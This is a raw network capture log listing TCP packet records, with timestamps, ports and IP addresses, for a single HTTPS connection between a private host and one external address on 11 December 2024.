Dec 11, 2024 12:15:51.953978062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.955506086 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.955518007 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.955653906 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.955662966 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.955849886 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.955849886 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.955849886 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.955849886 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.955849886 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.957401037 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.957408905 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.958152056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.958152056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.958152056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.958152056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.958152056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.958165884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.958174944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.959898949 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.959913015 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.960036993 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.960048914 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.960057020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.960253954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.960253954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.960253954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.960253954 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.961685896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.961704016 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.962065935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.962065935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.962065935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.962065935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.962065935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.962080002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.962115049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.963649988 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.963663101 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.963767052 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.963781118 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.964008093 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.964008093 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.965684891 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.965694904 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.965820074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.965821028 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.965866089 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.965866089 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.965871096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.966048956 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.966048956 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.967736006 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.967756033 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.967891932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.967891932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.967902899 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.968086004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.968086004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.968086004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.968086004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.969870090 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.969881058 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.970519066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.970519066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.970519066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.970519066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.970537901 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.971754074 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.971765995 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.971916914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.971916914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.971927881 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.972112894 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.972112894 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.972114086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.972114086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.973740101 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.973748922 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.973908901 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.973908901 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.973921061 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.974102020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.974102020 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.974294901 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.975966930 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.975987911 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.976133108 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.976313114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.976313114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.976325989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.976504087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.978523970 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.978549004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.978638887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.978662014 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.978691101 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.978691101 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.978883982 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.980170965 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.980191946 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.980356932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.980356932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.980356932 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.980516911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.980516911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.980539083 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.982168913 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.982194901 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.982532024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.982532024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.982557058 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.982723951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.982723951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.984031916 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.984062910 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.984222889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.984222889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.984252930 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.984405994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.984405994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.984405994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.984405994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.986043930 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.986124992 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.986391068 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.986391068 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:51.986411095 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:51.986633062 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.175210953 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.175225019 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.175551891 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.175551891 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.175551891 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.175551891 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.175566912 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.175811052 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.176959038 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.176973104 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.177109957 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.177345037 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.177345037 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.177354097 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.177488089 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.178761005 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.178771973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.178945065 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.178945065 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.179124117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.179124117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.179130077 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.179316998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.179316998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.180562973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.180572987 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.180722952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.180722952 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.180901051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.180901051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.180910110 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.181093931 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.182590008 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.182600975 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.182959080 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.182960033 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.182970047 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.183284998 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.184655905 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.184667110 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.185007095 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.185007095 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.185019016 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.185334921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.186389923 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.186400890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.186512947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.186558962 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.186743021 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.186749935 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.186983109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.188297033 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.188308001 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.188469887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.188469887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.188651085 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.188658953 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.188815117 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.188911915 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.190146923 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.190156937 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.190505981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.190505981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.190519094 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.190886974 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.192045927 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.192058086 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.192207098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.192208052 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.192387104 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.192397118 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.192576885 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.192576885 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.192576885 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.194091082 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.194102049 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.194231987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.194231987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.194283009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.194291115 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.194490910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.194490910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.194657087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.196119070 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.196130037 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.196284056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.196284056 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.196465015 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.196474075 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.196652889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.196652889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.196652889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.197959900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.197971106 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.198304892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.198304892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.198304892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.198316097 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.198492050 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.199913025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.199923992 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.200073957 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.200254917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.200259924 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.200419903 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.202081919 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.202092886 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.202419043 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.202419043 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.202430964 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.202615976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.202615976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.203767061 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.203777075 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.204104900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.204104900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.204118013 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.204299927 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.204299927 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.205660105 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.205671072 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.206022024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.206022024 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.206032038 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.206183910 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.206381083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.207947969 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.207957983 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.208127975 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.208127975 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.208313942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.208313942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.208313942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.208326101 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.208503962 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.209922075 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.209933043 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.210261106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.210261106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.210261106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.210261106 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.210278034 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.210452080 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.211726904 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.211740017 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.211884975 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.212069035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.212069035 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.212080002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.212162018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.212256908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.213190079 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.213203907 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.213318110 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.213366032 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.213542938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.213550091 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.213740110 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.215862989 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.215877056 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.216397047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.216407061 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.216626883 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.217581034 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.217593908 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.217926025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.217926025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.217926025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.217926025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.217926025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.217938900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.218306065 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.219410896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.219424963 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.219594002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.219594002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.219778061 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.219778061 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.219786882 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.219969988 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.221282959 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.221296072 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.221457958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.221457958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.221641064 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.221641064 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.221641064 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.221649885 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.221829891 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.223464012 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.223476887 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.223814964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.223814964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.223814964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.223830938 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.224005938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.224005938 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.225162029 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.225176096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.225509882 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.225509882 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.225522041 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.225703955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.225754023 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.227257967 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.227272034 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:52.227418900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.227418900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.227595091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.227595091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:52.227595091 CET	49782	443	192.168.11.20	172.67.128.139
